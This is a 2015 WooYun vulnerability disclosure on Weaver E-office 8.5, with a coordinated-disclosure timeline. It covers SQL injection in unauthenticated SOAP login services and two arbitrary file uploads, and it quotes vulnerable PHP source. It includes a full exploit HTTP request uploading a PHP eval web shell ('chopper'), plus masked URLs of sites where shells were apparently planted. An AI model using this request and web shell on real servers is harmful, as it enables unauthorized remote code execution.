当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(31) 关注此漏洞

缺陷编号: WooYun-2015-125282

漏洞标题: 泛微E-office 3处sql注射(ROOT SHELL)/2处任意文件上传

相关厂商: 泛微E-office

漏洞作者: menmen519

提交时间: 2015-07-10 10:31

公开时间: 2015-10-08 11:52

漏洞类型: 设计缺陷/逻辑错误

危害等级: 高

自评Rank: 20

漏洞状态: 已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: php源码分析

6人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-07-10: 细节已通知厂商并且等待厂商处理中
2015-07-10: 厂商已经确认,细节仅向厂商公开
2015-07-13: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2015-09-03: 细节向核心白帽子及相关领域专家公开
2015-09-13: 细节向普通白帽子公开
2015-09-23: 细节向实习白帽子公开
2015-10-08: 细节向公众公开

简要描述:

泛微E-office 3处sql注射(ROOT SHELL)/2处任意文件上传,不是为了刷漏洞,临睡前顺带又看了看其他目录,发现还有余孽,一并提交

详细说明:

看了wooyun个大牛发的这个产品的漏洞,感觉版本都过低,这里我发一个8.5的版本,里面新增了webservice的相关操作 下来看代码





经过一阵子的翻阅,发现和webservice 并行的目录也存在越权行为,代码结构类似:

1.png













第一个目录

webservice-json/login/login.wsdl.php:



code 区域
function UserLogin( $UserName, $Password )
{
$loginStatus = array( );
if ( trim( $UserName ) == "" )
{
$loginStatus['status'] = "false";
$loginStatus['infor'] = "用户名为空";
return $loginStatus;
}
$user = new user( );
if ( $user->CheckUserAccount( $UserName ) == false )
{
$loginStatus['status'] = "false";
$loginStatus['infor'] = "用户名不存在";
return $loginStatus;
}
$userID = $user->getUserIDByUserAccount( $UserName );
if ( $user->checkOldPassword( $userID, $Password ) == false )
{
$loginStatus['status'] = "false";
$loginStatus['infor'] = "密码错误";
return $loginStatus;
}
global $connection;
$query = "SELECT * from USER where USER_ACCOUNTS='{$UserName}'";
$cursor = exequery( $connection, $query );
$ROW = mysql_fetch_array( $cursor );
$timenow = time( );
$CUR_TIME = date( "Y-m-d H:i:s", $timenow );
$query = "update USER set LAST_VISIT_TIME='{$CUR_TIME}' where USER_ID='".$ROW['USER_ID']."'";
exequery( $connection, $query );
session_start( );
$_SESSION['LOGIN_USER_ID'] = $ROW['USER_ID'];
$_SESSION['LOGIN_PASSWORD'] = $ROW['PASSWORD'];
$_SESSION['LOGIN_POST_PRIV'] = $ROW['POST_PRIV'];
$_SESSION['LOGIN_USER_ACCOUNTS'] = $ROW['USER_ACCOUNTS'];
$_SESSION['LOGIN_USER_NAME'] = $ROW['USER_NAME'];
$_SESSION['LOGIN_USER_PRIV'] = $ROW['USER_PRIV'];
$_SESSION['LOGIN_DEPT_ID'] = $ROW['DEPT_ID'];
$loginStatus['status'] = "true";
$loginStatus['infor'] = $ROW['USER_ID'];
$loginStatus['session_key'] = session_id( );
return $loginStatus;
}

function UserIDLogin( $UserId )
{
global $connection;
$infor = array( );
$sql = "SELECT COUNT(*) FROM USER WHERE USER_ID='".$UserId."'";
$cursor = exequery( $connection, $sql );
if ( $ROW = mysql_fetch_array( $cursor ) )
{
$count = $ROW[0];
}
if ( 0 < $count )
{
$timenow = time( );
$CUR_TIME = date( "Y-m-d H:i:s", $timenow );
$query = "update USER set LAST_VISIT_TIME='{$CUR_TIME}' where USER_ID='".$UserId."'";
exequery( $connection, $query );
session_start( );
$infor['session_key'] = session_id( );
$infor['status'] = "true";
}
else
{
$infor['status'] = "false";
$infor['session_key'] = "";
}
return $infor;
}

function GetCurrentInformation( $UserId )
{
global $connection;
$infor = array( );
if ( $UserId != "" )
{
global $connection;
$user = new user( );
$sql = "SELECT * FROM USER WHERE USER_ID='".$UserId."'";
$result = exequery( $connection, $sql );
if ( $row = mysql_fetch_assoc( $result ) )
{
$infor = $row;
$priv = $row['USER_PRIV']( $row['USER_PRIV'] );
$infor['priv_name'] = $priv['PRIV_NAME'];
$dept = $row['DEPT_ID']( $row['DEPT_ID'] );
$infor['dept_name'] = $dept['DEPT_NAME'];
$infor['check'] = "true";
if ( $row['USER_STATUS'] == "1" )
{
$infor['status'] = "在职";
}
else
{
if ( $row['USER_STATUS'] == "2" )
{
$infor['status'] = "离职";
}
}
}
}
else
{
$infor['check'] = "false";
}
return json_encode( $infor );
}

include_once( "nusoap/lib/nusoap.php" );
include_once( "api/user.class.php" );
include_once( "inc/conn.php" );
$server = new soap_server( );
$server->soap_defencoding = "UTF-8";
$server->decode_utf8 = false;
$server->configureWSDL( "LoginServicewsdl", "urn:LoginServicewsdl" );
$server->wsdl->schemaTargetNamespace = "urn:LoginServicewsdl";
$server->wsdl->addComplexType( "loginStatus", "complexType", "struct", "all", "", array( "status" => array( "name" => "status", "type" => "xsd:string" ), "infor" => array( "name" => "infor", "type" => "xsd:string" ), "session_key" => array( "name" => "session_key", "type" => "xsd:string" ) ) );
$server->register( "UserLogin", array( "UserName" => "xsd:string", "Password" => "xsd:string" ), array( "return" => "tns:loginStatus" ), "urn:LoginServicewsdl", "urn:LoginServicewsdl#UserLogin", "rpc", "encoded", "UserLogin" );
$server->wsdl->addComplexType( "IDcheck", "complexType", "struct", "all", "", array( "status" => array( "name" => "status", "type" => "xsd:string" ), "session_key" => array( "name" => "session_key", "type" => "xsd:string" ) ) );
$server->register( "UserIDLogin", array( "UserId" => "xsd:string" ), array( "return" => "tns:IDcheck" ), "urn:LoginServicewsdl", "urn:LoginServicewsdl#UserIDLogin", "rpc", "encoded", "UserIDLogin" );
$server->register( "GetCurrentInformation", array( "UserId" => "xsd:string" ), array( "return" => "xsd:string" ), "urn:LoginServicewsdl", "urn:LoginServicewsdl#GetCurrentInformation", "rpc", "encoded", "GetCurrentInformation" );
$server->service( $HTTP_RAW_POST_DATA );
?>





代码结构,风格都一样,漏洞请参照

http://**.**.**.**/bugs/wooyun-2015-0125281/trace/288315217e38c991a819ae7415cd1926



webservice-json/upload/upload.php:

code 区域
include_once( "inc/utility_all.php" );
$pathInfor = pathinfo( $_FILES['file']['tmp_name'] );
$extension = $pathInfor['extension'];
$role = UPLOADROLE;
$pos = $extension ? strpos( $role, strtoupper( $extension ) ) : false;
if ( !( $pos === false ) )
{
echo "false";
}
else
{
$attachmentID = createfiledir( );
global $ATTACH_PATH;
$path = $ATTACH_PATH.$attachmentID;
if ( !file_exists( $path ) )
{
mkdir( $path, 448 );
}
$attachmentName = $_FILES['file']['tmp_name'];
$fileName = $path."/".$_FILES['file']['name'];
$fileName = iconv( "UTF-8", "GBK", $fileName );
move_uploaded_file( $_FILES['file']['tmp_name'], $fileName );
if ( !file_exists( $fileName ) )
{
echo "false";
}
else
{
echo $attachmentID."*".$_FILES['file']['name'];
}
}
?>







漏洞参照:

http://**.**.**.**/bugs/wooyun-2015-0125265/trace/efd66a6faa58a6bf64582d7de9f26b1b







同理:

webservice-xml/login/login.wsdl.php

webservice-xml/upload/upload.php



内容一样 原理同上





这里证明一下这些文件在最新的e-office 存在即可

http://**.**.**.**/webservice-xml/login/login.wsdl.php



http://**.**.**.**/webservice-xml/login/login.wsdl.php



http://**.**.**.**/webservice-xml/login/login.wsdl.php



http://**.**.**.**:8028/webservice-xml/login/login.wsdl.php



http://**.**.**.**/webservice-xml/upload/upload.php



http://**.**.**.**/webservice-xml/upload/upload.php



http://**.**.**.**/webservice-xml/upload/upload.php



http://**.**.**.**:8028/webservice-xml/upload/upload.php





http://**.**.**.**/webservice-json/upload/upload.php





http://**.**.**.**/webservice-json/upload/upload.php



http://**.**.**.**/webservice-json/upload/upload.php



http://**.**.**.**:8028/webservice-json/upload/upload.php



看了wooyun个大牛发的这个产品的漏洞,感觉版本都过低,这里我发一个8.5的版本,里面新增了webservice的相关操作 下来看代码

webservice/login/login.wsdl.php?wsdl:



code 区域
function UserLogin( $UserName, $Password )
{
$loginStatus = array( );
if ( trim( $UserName ) == "" )
{
$loginStatus['status'] = "false";
$loginStatus['infor'] = "用户名为空";
return $loginStatus;
}
$user = new user( );
if ( $user->CheckUserAccount( $UserName ) == false )
{
$loginStatus['status'] = "false";
$loginStatus['infor'] = "用户名不存在";
return $loginStatus;
}
$userID = $user->getUserIDByUserAccount( $UserName );
if ( $user->checkOldPassword( $userID, $Password ) == false )
{
$loginStatus['status'] = "false";
$loginStatus['infor'] = "密码错误";
return $loginStatus;
}
global $connection;
$query = "SELECT * from USER where USER_ACCOUNTS='{$UserName}'";
$cursor = exequery( $connection, $query );
$ROW = mysql_fetch_array( $cursor );
$timenow = time( );
$CUR_TIME = date( "Y-m-d H:i:s", $timenow );
$query = "update USER set LAST_VISIT_TIME='{$CUR_TIME}' where USER_ID='".$ROW['USER_ID']."'";
exequery( $connection, $query );
session_start( );
$_SESSION['LOGIN_USER_ID'] = $ROW['USER_ID'];
$_SESSION['LOGIN_PASSWORD'] = $ROW['PASSWORD'];
$_SESSION['LOGIN_POST_PRIV'] = $ROW['POST_PRIV'];
$_SESSION['LOGIN_USER_ACCOUNTS'] = $ROW['USER_ACCOUNTS'];
$_SESSION['LOGIN_USER_NAME'] = $ROW['USER_NAME'];
$_SESSION['LOGIN_USER_PRIV'] = $ROW['USER_PRIV'];
$_SESSION['LOGIN_DEPT_ID'] = $ROW['DEPT_ID'];
$loginStatus['status'] = "true";
$loginStatus['infor'] = $ROW['USER_ID'];
return $loginStatus;
}

include_once( "nusoap/lib/nusoap.php" );
include_once( "api/user.class.php" );
include_once( "inc/conn.php" );
$server = new soap_server( );
$server->soap_defencoding = "UTF-8";
$server->decode_utf8 = false;
$server->configureWSDL( "LoginServicewsdl", "urn:LoginServicewsdl" );
$server->wsdl->schemaTargetNamespace = "urn:LoginServicewsdl";
$server->wsdl->addComplexType( "loginStatus", "complexType", "struct", "all", "", array( "status" => array( "name" => "status", "type" => "xsd:string" ), "infor" => array( "name" => "infor", "type" => "xsd:string" ) ) );
$server->register( "UserLogin", array( "UserName" => "xsd:string", "Password" => "xsd:string" ), array( "return" => "tns:loginStatus" ), "urn:LoginServicewsdl", "urn:LoginServicewsdl#UserLogin", "rpc", "encoded", "UserLogin" );
$server->service( $HTTP_RAW_POST_DATA );
?>









http://**.**.**.**/webservice/login/login.wsdl.php?wsdl

这个文件也没有进行任何auth验证:



8.png







我们访问:

http://**.**.**.**/attachment/1.php



原理都相同,不多赘述



http://**.**.**.**//webservice/eoffice.wsdl.php?wsdl



http://**.**.**.**/webservice/eoffice.wsdl.php?wsdl



http://**.**.**.**/webservice/eoffice.wsdl.php?wsdl



http://**.**.**.**:8028/webservice/eoffice.wsdl.php?wsdl



任意文件上传:

下来看代码:

webservice/upload.php



code 区域
include_once( "inc/utility_all.php" );
$pathInfor = pathinfo( $_FILES['file']['tmp_name'] );
$extension = $pathInfor['extension'];
$role = UPLOADROLE;
$attachmentID = createfiledir( );
global $ATTACH_PATH;
$path = $ATTACH_PATH.$attachmentID;
if ( !file_exists( $path ) )
{
mkdir( $path, 448 );
}
$attachmentName = $_FILES['file']['tmp_name'];
$fileName = $path."/".$_FILES['file']['name'];
$fileName = iconv( "UTF-8", "GBK", $fileName );
move_uploaded_file( $_FILES['file']['tmp_name'], $fileName );
if ( !file_exists( $fileName ) )
{
echo "false";
}
else
{
echo $attachmentID."*".$_FILES['file']['name'];
}







文件上传条件:





1.无需登录

2.文件的路径为attachment/$attachmentID 这里的$attachmentID 会被回显过来

3.无需后缀验证





发送如下请求:

POST /webservice/upload.php HTTP/1.1

Host: **.**.**.**

User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:34.0) Gecko/20100101 Firefox/34.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Connection: keep-alive

Content-Type: multipart/form-data; boundary=---------------------------74141544123431

Content-Length: 818



-----------------------------74141544123431

Content-Disposition: form-data; name="file"; filename="1.php"

Content-Type: image/jpeg



<?php phpinfo();@eval($_POST['chopper']);?>

-----------------------------74141544123431--





2.png







shell



3.png







案例:



http://**.**.**.**/

http://**.**.**.**/attachment/2754969047/wooyun.php

http://**.**.**.**/attachment/2070630318/wooyun.php

**.**.**.**:8028/attachment/1002074664/wooyun.php







其中最后一个官网设置了目录访问权限,所以不能访问那个文件但是文件已经上传上去了,这种情况,如果有特殊说明,必须告知用户,否则后果很严重





第二处:

webservice/upload/upload.php:



code 区域
include_once( "inc/utility_all.php" );
$pathInfor = pathinfo( $_FILES['file']['tmp_name'] );
$extension = $pathInfor['extension'];
$role = UPLOADROLE;
$pos = $extension ? strpos( $role, strtoupper( $extension ) ) : false;
if ( !( $pos === false ) )
{
echo "false";
}
else
{
$attachmentID = createfiledir( );
global $ATTACH_PATH;
$path = $ATTACH_PATH.$attachmentID;
if ( !file_exists( $path ) )
{
mkdir( $path, 448 );
}
$attachmentName = $_FILES['file']['tmp_name'];
$fileName = $path."/".$_FILES['file']['name'];
$fileName = iconv( "UTF-8", "GBK", $fileName );
move_uploaded_file( $_FILES['file']['tmp_name'], $fileName );
if ( !file_exists( $fileName ) )
{
echo "false";
}
else
{
echo $attachmentID."*".$_FILES['file']['name'];
}
}
?>





代码很相似,绕一下逻辑即可,原理就不用解释了

漏洞证明:

修复方案:

版权声明:转载请注明来源 menmen519@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:11

确认时间:2015-07-10 11:50

厂商回复:

CNVD确认并复现所述情况,已由CNVD通过软件生产厂商(或网站管理方)公开联系渠道向其邮件(和电话)通报,由其后续提供解决方案并协调相关用户单位处置。

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(少于3人评价):
登陆后才能进行评分
0%
0%
100%
0%
0%

评价

  1. 2015-07-09 15:42 | 君宝 ( 路人 | Rank:19 漏洞数:4 | 不要跟我比浪。。你浪不过我。。)
    0

    来点赞哒!

登录后才能发表评论,请先 登录